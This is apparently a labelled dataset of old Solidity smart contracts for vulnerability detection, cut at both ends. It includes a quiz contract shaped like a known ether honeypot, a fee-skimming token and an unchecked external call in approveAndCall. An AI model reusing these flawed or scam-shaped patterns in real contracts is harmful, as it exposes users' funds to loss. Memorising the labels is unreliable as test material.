_ethereumAmount <= ethInvestedDuringICO) { ethTowardsICOPriceTokens = _ethereumAmount; } else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount > ethInvestedDuringICO) { ethTowardsICOPriceTokens = ethInvestedDuringICO.sub(currentEthInvested); ethTowardsVariablePriceTokens = _ethereumAmount.sub(ethTowardsICOPriceTokens); } else { revert(); } assert(ethTowardsICOPriceTokens + ethTowardsVariablePriceTokens == _ethereumAmount); uint icoPriceTokens = 0; uint varPriceTokens = 0; if (ethTowardsICOPriceTokens != 0) { icoPriceTokens = ethTowardsICOPriceTokens.mul(1e18).div(tokenPriceInitial_); } if (ethTowardsVariablePriceTokens != 0) { uint simulatedEthBeforeInvested = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3) + ethTowardsICOPriceTokens; uint simulatedEthAfterInvested = simulatedEthBeforeInvested + ethTowardsVariablePriceTokens; uint tokensBefore = toPowerOfTwoThirds(simulatedEthBeforeInvested.mul(3).div(2)).mul(MULTIPLIER); uint tokensAfter = toPowerOfTwoThirds(simulatedEthAfterInvested.mul(3).div(2)).mul(MULTIPLIER); varPriceTokens = (1e6) * tokensAfter.sub(tokensBefore); } uint totalTokensReceived = icoPriceTokens + varPriceTokens; assert(totalTokensReceived > 0); return totalTokensReceived; } function tokensToEthereum_(uint _tokens) public view returns (uint) { require(_tokens >= MIN_TOKEN_SELL_AMOUNT, "Tried to sell too few tokens."); uint tokensToSellAtICOPrice = 0; uint tokensToSellAtVariablePrice = 0; if (tokenSupply <= tokensMintedDuringICO) { tokensToSellAtICOPrice = _tokens; } else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens >= tokensMintedDuringICO) { tokensToSellAtVariablePrice = _tokens; } else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens < tokensMintedDuringICO) { tokensToSellAtVariablePrice = tokenSupply.sub(tokensMintedDuringICO); tokensToSellAtICOPrice = _tokens.sub(tokensToSellAtVariablePrice); } else { revert(); } assert(tokensToSellAtVariablePrice + tokensToSellAtICOPrice == _tokens); uint ethFromICOPriceTokens; uint ethFromVarPriceTokens; if (tokensToSellAtICOPrice != 0) { ethFromICOPriceTokens = tokensToSellAtICOPrice.mul(tokenPriceInitial_).div(1e18); } if (tokensToSellAtVariablePrice != 0) { uint investmentBefore = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3); uint investmentAfter = toPowerOfThreeHalves((tokenSupply - tokensToSellAtVariablePrice).div(MULTIPLIER * 1e6)).mul(2).div(3); ethFromVarPriceTokens = investmentBefore.sub(investmentAfter); } uint totalEthReceived = ethFromVarPriceTokens + ethFromICOPriceTokens; assert(totalEthReceived > 0); return totalEthReceived; } function transferFromInternal(address _from, address _toAddress, uint _amountOfTokens, bytes _data) internal { require(regularPhase); require(_toAddress != address(0x0)); address _customerAddress = _from; uint _amountOfFrontEndTokens = _amountOfTokens; if (theDividendsOf(true, _customerAddress) > 0) withdrawFrom(_customerAddress); uint _amountOfDivTokens = _amountOfFrontEndTokens.mul(getUserAverageDividendRate(_customerAddress)).div(magnitude); if (_customerAddress != msg.sender) { allowed[_customerAddress][msg.sender] -= _amountOfTokens; } frontTokenBalanceLedger_[_customerAddress] = frontTokenBalanceLedger_[_customerAddress].sub(_amountOfFrontEndTokens); frontTokenBalanceLedger_[_toAddress] = frontTokenBalanceLedger_[_toAddress].add(_amountOfFrontEndTokens); dividendTokenBalanceLedger_[_customerAddress] = dividendTokenBalanceLedger_[_customerAddress].sub(_amountOfDivTokens); dividendTokenBalanceLedger_[_toAddress] = dividendTokenBalanceLedger_[_toAddress].add(_amountOfDivTokens); if (!userSelectedRate[_toAddress]) { userSelectedRate[_toAddress] = true; userDividendRate[_toAddress] = userDividendRate[_customerAddress]; } payoutsTo_[_customerAddress] -= (int256) (profitPerDivToken * _amountOfDivTokens); payoutsTo_[_toAddress] += (int256) (profitPerDivToken * _amountOfDivTokens); uint length; assembly { length := extcodesize(_toAddress) } if (length > 0) { ERC223Receiving receiver = ERC223Receiving(_toAddress); receiver.tokenFallback(_from, _amountOfTokens, _data); } emit Transfer(_customerAddress, _toAddress, _amountOfFrontEndTokens); } function withdrawFrom(address _customerAddress) internal { uint _dividends = theDividendsOf(false, _customerAddress); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function injectEther() public payable onlyAdministrator { } function toPowerOfThreeHalves(uint x) public pure returns (uint) { return sqrt(x ** 3); } function toPowerOfTwoThirds(uint x) public pure returns (uint) { return cbrt(x ** 2); } function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } function cbrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 3; y = x; while (z < y) { y = z; z = (x / (z * z) + 2 * z) / 3; } } } contract ZethrBankroll { function receiveDividends() public payable {} } contract JackpotHolding is ERC223Receiving { uint public payOutNumber = 0; uint public payOutDivisor = 2; ZethrBankrollControllerInterface controller; Zethr zethr; constructor (address _controllerAddress, address _zethrAddress) public { controller = ZethrBankrollControllerInterface(_controllerAddress); zethr = Zethr(_zethrAddress); } function() public payable {} function tokenFallback(address , uint , bytes) public returns (bool) { } function getJackpotBalance() public view returns (uint) { uint tempBalance; for (uint i=0; i<7; i++) { tempBalance += controller.tokenBankrolls(i).jackpotBalance() > 0 ? controller.tokenBankrolls(i).jackpotBalance() / payOutDivisor : 0; } tempBalance += zethr.balanceOf(address(this)) > 0 ? zethr.balanceOf(address(this)) / payOutDivisor : 0; return tempBalance; } function ownerSetPayOutDivisor(uint _divisor) public ownerOnly { require(_divisor != 0); payOutDivisor = _divisor; } function ownerSetControllerAddress(address _controllerAddress) public ownerOnly { controller = ZethrBankrollControllerInterface(_controllerAddress); } function ownerWithdrawZth(address _to) public ownerOnly { uint balance = zethr.balanceOf(address(this)); zethr.transfer(_to, balance); } function ownerWithdrawEth(address _to) public ownerOnly { _to.transfer(address(this).balance); } function gamePayOutWinner(address _winner) public gameOnly { for (uint i=0; i<7; i++) { controller.tokenBankrolls(i).payJackpotToWinner(_winner, payOutDivisor); } uint payOutAmount; if (zethr.balanceOf(address(this)) >= 1e10) { payOutAmount = zethr.balanceOf(address(this)) / payOutDivisor; } if (payOutAmount >= 1e10) { zethr.transfer(_winner, payOutAmount); } payOutNumber += 1; emit JackpotPayOut(_winner, payOutNumber); } event JackpotPayOut( address winner, uint payOutNumber ); modifier ownerOnly() { require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender)); _; } modifier gameOnly() { require(controller.validGameAddresses(msg.sender)); _; } } contract ZethrGame { using SafeMath for uint; using SafeMath for uint56; event Result (address player, uint amountWagered, int amountOffset); event Wager (address player, uint amount, bytes data); address[] pendingBetsQueue; uint queueHead = 0; uint queueTail = 0; mapping(address => BetBase) bets; struct BetBase { uint56 tokenValue; uint48 blockNumber; uint8 tier; } mapping(address => uint) pendingBetsMapping; ZethrBankrollControllerInterface controller; bool paused; uint minBet = 1e18; uint resolverPercentage; string gameName; constructor (address _controllerAddress, uint _resolverPercentage, string _name) public { controller = ZethrBankrollControllerInterface(_controllerAddress); resolverPercentage = _resolverPercentage; gameName = _name; } function getMaxProfit() public view returns (uint) { return ZethrTokenBankrollInterface(msg.sender).getMaxProfit(address(this)); } function ownerPauseGame() public ownerOnly { paused = true; } function ownerResumeGame() public ownerOnly { paused = false; } function ownerSetResolverPercentage(uint _percentage) public ownerOnly { require(_percentage <= 1000000); resolverPercentage = _percentage; } function ownerSetControllerAddress(address _controllerAddress) public ownerOnly { controller = ZethrBankrollControllerInterface(_controllerAddress); } function ownerSetGameName(string _name) ownerOnly public { gameName = _name; } function getGameName() public view returns (string) { return gameName; } function resolveExpiredBets(uint _numToResolve) public returns (uint tokensEarned_, uint queueHead_) { uint mQueue = queueHead; uint head; uint tail = (mQueue + _numToResolve) > pendingBetsQueue.length ? pendingBetsQueue.length : (mQueue + _numToResolve); uint tokensEarned = 0; for (head = mQueue; head < tail; head++) { if (pendingBetsQueue[head] == address(0x0)) { continue; } if (bets[pendingBetsQueue[head]].blockNumber != 0 && block.number > 256 + bets[pendingBetsQueue[head]].blockNumber) { int sum = - finishBetFrom(pendingBetsQueue[head]); if (sum > 0) { tokensEarned += (uint(sum).mul(resolverPercentage)).div(1000000); } } else { break; } } queueHead = head; if (tokensEarned >= 1e14) { controller.gamePayoutResolver(msg.sender, tokensEarned); } return (tokensEarned, head); } function finishBet() public hasNotBetThisBlock(msg.sender) returns (int) { return finishBetFrom(msg.sender); } function maxRandom(uint _blockn, address _entropy, uint _index) private view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(_blockn), _entropy, _index ))); } function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index) internal view returns (uint256 randomNumber) { return maxRandom(_blockn, _entropy, _index) % _upper; } modifier hasNotBetThisBlock(address _sender) { require(bets[_sender].blockNumber != block.number); _; } modifier bankrollOnly { require(controller.isTokenBankroll(msg.sender)); _; } modifier isNotPaused { require(!paused); _; } modifier betIsValid(uint _betSize, uint _tier, bytes _data) { uint divRate = ZethrTierLibrary.getDivRate(_tier); require(isBetValid(_betSize, divRate, _data)); _; } modifier ownerOnly() { require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender)); _; } function execute(address _player, uint _tokenCount, uint _divRate, bytes _data) public; function finishBetFrom(address _playerAddress) internal returns (int); function isBetValid(uint _tokenCount, uint _divRate, bytes _data) public view returns (bool); } contract ZethrBigWheel is ZethrGame { using SafeMath for uint8; struct Bet { uint56 tokenValue; uint48 blockNumber; uint8 tier; uint bets; } JackpotHolding public jackpotHoldingContract; constructor (address _controllerAddress, uint _resolverPercentage, string _name) ZethrGame(_controllerAddress, _resolverPercentage, _name) public { } function getLastSpinOutput(address _playerAddress) public view returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins, uint output) { Bet storage playerBetInStorage = getBet(_playerAddress); Bet memory playerBet = playerBetInStorage; require(playerBet.blockNumber != 0); (winAmount, lossAmount, jackpotAmount, jackpotWins, output) = getSpinOutput(playerBet.blockNumber, _playerAddress, playerBet.bets); return (winAmount, lossAmount, jackpotAmount, jackpotWins, output); } function getSpinOutput(uint _blockNumber, address _target, uint _bets_notconverted) public view returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins, uint output) { uint40[5] memory _bets = uintToBetsArray(_bets_notconverted); uint result; if (block.number - _blockNumber > 255) { result = 999997; } else { result = random(999996, _blockNumber, _target, 0) + 1; } uint[5] memory betsMul; betsMul[0] = uint(_bets[0]).mul(1e14); betsMul[1] = uint(_bets[1]).mul(1e14); betsMul[2] = uint(_bets[2]).mul(1e14); betsMul[3] = uint(_bets[3]).mul(1e14); betsMul[4] = uint(_bets[4]).mul(1e14); lossAmount = betsMul[0] + betsMul[1] + betsMul[2] + betsMul[3] + betsMul[4]; if (result < 2) { jackpotWins++; } else { if (result < 27028) { if (betsMul[4] > 0) { winAmount = SafeMath.mul(betsMul[4], 25); lossAmount -= betsMul[4]; } } else if (result < 108108) { if (betsMul[3] > 0) { winAmount = SafeMath.mul(betsMul[3], 10); lossAmount -= betsMul[3]; } } else if (result < 270269) { if (betsMul[2] > 0) { winAmount = SafeMath.mul(betsMul[2], 6); lossAmount -= betsMul[2]; } } else if (result < 513512) { if (betsMul[1] > 0) { winAmount = SafeMath.mul(betsMul[1], 4); lossAmount -= betsMul[1]; } } else if (result < 999997) { if (betsMul[0] > 0) { winAmount = SafeMath.mul(betsMul[0], 2); lossAmount -= betsMul[0]; } } jackpotAmount = lossAmount.div(100); lossAmount -= jackpotAmount; } return (winAmount, lossAmount, jackpotAmount, jackpotWins, result); } function getSpinResults(uint _blockNumber, address _target, uint _bets) public returns (uint winAmount, uint lossAmount, uint jackpotAmount, uint jackpotWins) { (winAmount, lossAmount, jackpotAmount, jackpotWins,) = getSpinOutput(_blockNumber, _target, _bets); } function ownerSetJackpotAddress(address _jackpotAddress) public ownerOnly { jackpotHoldingContract = JackpotHolding(_jackpotAddress); } function getBet(address _playerAddress) internal view returns (Bet storage) { BetBase storage betBase = bets[_playerAddress]; Bet storage playerBet; assembly { let tmp := betBase_slot swap1 } return playerBet; } function maxRandom(uint _blockn, address _entropy, uint _index) private view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(_blockn), _entropy, _index ))); } function random(uint256 _upper, uint256 _blockn, address _entropy, uint _index) internal view returns (uint256 randomNumber) { return maxRandom(_blockn, _entropy, _index) % _upper; } function finishBetFrom(address _playerAddress) internal returns (int ) { uint winAmount; uint lossAmount; uint jackpotAmount; uint jackpotWins; Bet storage playerBetInStorage = getBet(_playerAddress); Bet memory playerBet = playerBetInStorage; require(playerBet.blockNumber != 0); require(playerBet.blockNumber != 0); playerBetInStorage.blockNumber = 0; (winAmount, lossAmount, jackpotAmount, jackpotWins) = getSpinResults(playerBet.blockNumber, _playerAddress, playerBet.bets); address tokenBankrollAddress = controller.getTokenBankrollAddressFromTier(playerBet.tier); ZethrTokenBankrollInterface bankroll = ZethrTokenBankrollInterface(tokenBankrollAddress); bankroll.gameTokenResolution(winAmount, _playerAddress, jackpotAmount, address(jackpotHoldingContract), playerBet.tokenValue.mul(1e14)); if (jackpotWins > 0) { for (uint x = 0; x < jackpotWins; x++) { jackpotHoldingContract.gamePayOutWinner(_playerAddress); } } uint index = pendingBetsMapping[_playerAddress]; pendingBetsQueue[index] = address(0x0); pendingBetsMapping[_playerAddress] = 0; emit Result(_playerAddress, playerBet.tokenValue.mul(1e14), int(winAmount) - int(lossAmount) - int(jackpotAmount)); return (int(winAmount) - int(lossAmount) - int(jackpotAmount)); } function execute(address _player, uint _tokenCount, uint _tier, bytes _data) isNotPaused bankrollOnly betIsValid(_tokenCount, _tier, _data) hasNotBetThisBlock(_player) public { Bet storage playerBet = getBet(_player); if (playerBet.blockNumber != 0) { finishBetFrom(_player); } playerBet.tokenValue = uint56(_tokenCount.div(1e14)); playerBet.blockNumber = uint48(block.number); playerBet.tier = uint8(_tier); require(_data.length == 32); uint actual_data; assembly{ actual_data := mload(add(_data, 0x20)) } playerBet.bets = actual_data; uint40[5] memory actual_bets = uintToBetsArray(actual_data); require((uint(actual_bets[0]) + uint(actual_bets[1]) + uint(actual_bets[2]) + uint(actual_bets[3]) + uint(actual_bets[4])).mul(1e14) == _tokenCount); pendingBetsQueue.length++; pendingBetsQueue[queueTail] = _player; queueTail++; pendingBetsMapping[_player] = queueTail - 1; emit Wager(_player, _tokenCount, _data); } function isBetValid(uint _tokenCount, uint _divRate, bytes _data) public view returns (bool) { uint actual_data; assembly{ actual_data := mload(add(_data, 0x20)) } uint40[5] memory bets = uintToBetsArray(actual_data); uint bet2Max = bets[0] * 2; uint bet4Max = bets[1] * 4; uint bet6Max = bets[2] * 6; uint bet10Max = bets[3] * 10; uint bet25Max = bets[4] * 25; uint max = bet2Max; if (bet4Max > max) { max = bet4Max; } if (bet6Max > max) { max = bet6Max; } if (bet10Max > max) { max = bet10Max; } if (bet25Max > max) { max = bet25Max; } uint minBetDiv = minBet.div(1e14); return (max*1e14 <= getMaxProfit()) && ((bets[0]) >= minBetDiv || (bets[0]) == 0) && ((bets[1]) >= minBetDiv || (bets[1]) == 0) && ((bets[2]) >= minBetDiv || (bets[2]) == 0) && ((bets[3]) >= minBetDiv || (bets[3]) == 0) && ((bets[4]) >= minBetDiv || (bets[4]) == 0); } function betInputToBytes(uint40 bet1, uint40 bet2, uint40 bet3, uint40 bet4, uint40 bet5) public view returns (bytes32){ bytes memory concat = (abi.encodePacked(uint56(0), bet1, bet2, bet3, bet4, bet5)); bytes32 output; assembly{ output := mload(add(concat, 0x20)) } return output; } function uintToBetsArray(uint input) public view returns (uint40[5]){ uint40[5] memory output; uint trackme = (input); for (uint i=4;; i--){ output[i] = uint40(trackme); trackme /= 0x0000000000000000000000000000000000000000000000000000010000000000; if (i==0){ break; } } return output; } function getPlayerBetData(address player) public view returns(uint40[5]){ uint betData = getBet(player).bets; return (uintToBetsArray(betData)); } }
0
pragma solidity ^0.4.25; contract enigma { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value > 3 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; bytes32 questionerPin = 0x2dde10ee799942a9a10dee3934b7830889e1c513985bd8e0ff3752861fc8f1f0; function ActivateContract(bytes32 _questionerPin, string _question, string _response) public payable { if(keccak256(_questionerPin)==questionerPin) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; questionerPin = 0x0; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
1
pragma solidity ^0.4.8; contract testingToken { mapping (address => uint256) public balanceOf; mapping (address => uint256) public weiWantedOf; mapping (address => uint256) public tokensOfferedOf; mapping (address => bool) public tradeActive; address public bank; uint256 public ethTaxRate = 10; uint256 public tokenTaxRate = 5; function testingToken() { bank = msg.sender; balanceOf[msg.sender] = 100000; } function send(address _to, uint256 _value) { if (balanceOf[msg.sender]<_value) throw; if (balanceOf[_to]+_value<balanceOf[_to]) throw; if (_value<0) throw; balanceOf[msg.sender] -= _value; balanceOf[_to] += (_value*(100-tokenTaxRate))/100; balanceOf[bank] += (_value*tokenTaxRate)/100; if (((_value*tokenTaxRate*10)/100)%10 != 0) balanceOf[bank]+=1; } function offerTrade(uint256 _weiWanted, uint256 _tokensOffered) { weiWantedOf[msg.sender] = _weiWanted; tokensOfferedOf[msg.sender] = _tokensOffered; tradeActive[msg.sender] = true; } function agreeToTrade(address _from) payable { if (!tradeActive[_from]) throw; if (weiWantedOf[_from]!=msg.value) throw; if (balanceOf[_from]<tokensOfferedOf[_from]) throw; if (!_from.send((msg.value*(100-ethTaxRate))/100)) throw; balanceOf[_from] -= tokensOfferedOf[_from]; balanceOf[msg.sender] += (tokensOfferedOf[_from]*(100-tokenTaxRate))/100; balanceOf[bank] += (tokensOfferedOf[_from]*tokenTaxRate)/100; tradeActive[_from] = false; if (((tokensOfferedOf[_from]*tokenTaxRate*10)/100)%10 != 0) balanceOf[bank]+=1; } modifier bankOnly { if (msg.sender != bank) throw; _; } function setTaxes(uint256 _ethTaxRate, uint256 _tokenTaxRate) bankOnly { ethTaxRate = _ethTaxRate; tokenTaxRate = _tokenTaxRate; } function extractWei(uint256 _wei) bankOnly { if (!msg.sender.send(_wei)) throw; } function transferOwnership(address _bank) bankOnly { bank = _bank; } }
1
pragma solidity ^0.4.25; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract GEIMCOIN is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'GEIMCOIN.1'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function GEIMCOIN() { balances[msg.sender] = 500000000000000000000000; totalSupply = 500000000000000000000000; name = "GEIMCOIN"; decimals = 18; symbol = "GMC"; unitsOneEthCanBuy = 1000; fundsWallet = msg.sender; } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.8; contract Owned { address public owner; event TransferOwnership(address oldaddr, address newaddr); modifier onlyOwner() { if (msg.sender != owner) return; _; } function Owned() public { owner = msg.sender; } function transferOwnership(address _new) onlyOwner public { address oldaddr = owner; owner = _new; emit TransferOwnership(oldaddr, owner); } } contract Members is Owned { address public coin; MemberStatus[] public status; mapping(address => History) public tradingHistory; struct MemberStatus { string name; uint256 times; uint256 sum; int8 rate; } struct History { uint256 times; uint256 sum; uint256 statusIndex; } modifier onlyCoin() { if (msg.sender == coin) _; } function setCoin(address _addr) onlyOwner public { coin = _addr; } function pushStatus(string _name, uint256 _times, uint256 _sum, int8 _rate) onlyOwner public { status.push(MemberStatus({ name: _name, times: _times, sum: _sum, rate: _rate })); } function editStatus(uint256 _index, string _name, uint256 _times, uint256 _sum, int8 _rate) onlyOwner public { if (_index < status.length) { status[_index].name = _name; status[_index].times = _times; status[_index].sum = _sum; status[_index].rate = _rate; } } function updateHistory(address _member, uint256 _value) onlyCoin public { tradingHistory[_member].times += 1; tradingHistory[_member].sum += _value; uint256 index; int8 tmprate; for (uint i = 0; i < status.length; i++) { if (tradingHistory[_member].times >= status[i].times && tradingHistory[_member].sum >= status[i].sum && tmprate < status[i].rate) { index = i; } } tradingHistory[_member].statusIndex = index; } function getCashbackRate(address _member) public constant returns (int8 rate){ rate = status[tradingHistory[_member].statusIndex].rate; } } contract OreOreCoin is Owned{ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => int8) public blackList; mapping (address => Members) public members; event Transfer(address indexed from, address indexed to, uint256 value); event Blacklisted(address indexed target); event DeleteFromBlacklist(address indexed target); event RejectedPaymentToBlacklistedAddr(address indexed from, address indexed to, uint256 value); event RejectedPaymentFromBlacklistedAddr(address indexed from, address indexed to, uint256 value); event Cashback(address indexed from, address indexed to, uint256 value); function OreOreCoin(uint256 _supply, string _name, string _symbol, uint8 _decimals) public { balanceOf[msg.sender] = _supply; name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _supply; } function blacklisting(address _addr) onlyOwner public { blackList[_addr] = 1; emit Blacklisted(_addr); } function deleteFromBlacklist(address _addr) onlyOwner public { blackList[_addr] = -1; emit DeleteFromBlacklist(_addr); } function setMembers(Members _members) public { members[msg.sender] = Members(_members); } function transfer(address _to, uint256 _value) public{ if (balanceOf[msg.sender] < _value) return; if (balanceOf[_to] + _value < balanceOf[_to]) return; if (blackList[msg.sender] > 0) { emit RejectedPaymentFromBlacklistedAddr(msg.sender, _to, _value); } else if (blackList[_to] > 0) { emit RejectedPaymentToBlacklistedAddr(msg.sender, _to, _value); } else { uint256 cashback = 0; if(members[_to] > address(0)) { cashback = _value / 100 * uint256(members[_to].getCashbackRate(msg.sender)); members[_to].updateHistory(msg.sender, _value); } balanceOf[msg.sender] -= (_value - cashback); balanceOf[_to] += (_value - cashback); emit Transfer(msg.sender, _to, _value); emit Cashback(_to, msg.sender, cashback); } } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30585600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x69B63e5Bb85c09Ecb765e8E6cF76813834Cd1104; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29116800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x76381f74b1aEBec5448aBBA67fA6b3c8bB3073dE; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ReferTokenERC20Basic is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) depositBalances; mapping(address => uint256) rewardBalances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= rewardBalances[msg.sender]); rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_value); rewardBalances[_to] = rewardBalances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return rewardBalances[_owner]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract PackageContract is ReferTokenERC20Basic, MintableToken { uint constant daysPerMonth = 30; mapping(uint => mapping(string => uint256)) internal packageType; struct Package { uint256 since; uint256 tokenValue; uint256 kindOf; } mapping(address => Package) internal userPackages; function PackageContract() public { packageType[2]['fee'] = 30; packageType[2]['reward'] = 20; packageType[4]['fee'] = 35; packageType[4]['reward'] = 25; } function depositMint(address _to, uint256 _amount, uint _kindOfPackage) canMint internal returns (bool) { return depositMintSince(_to, _amount, _kindOfPackage, now); } function 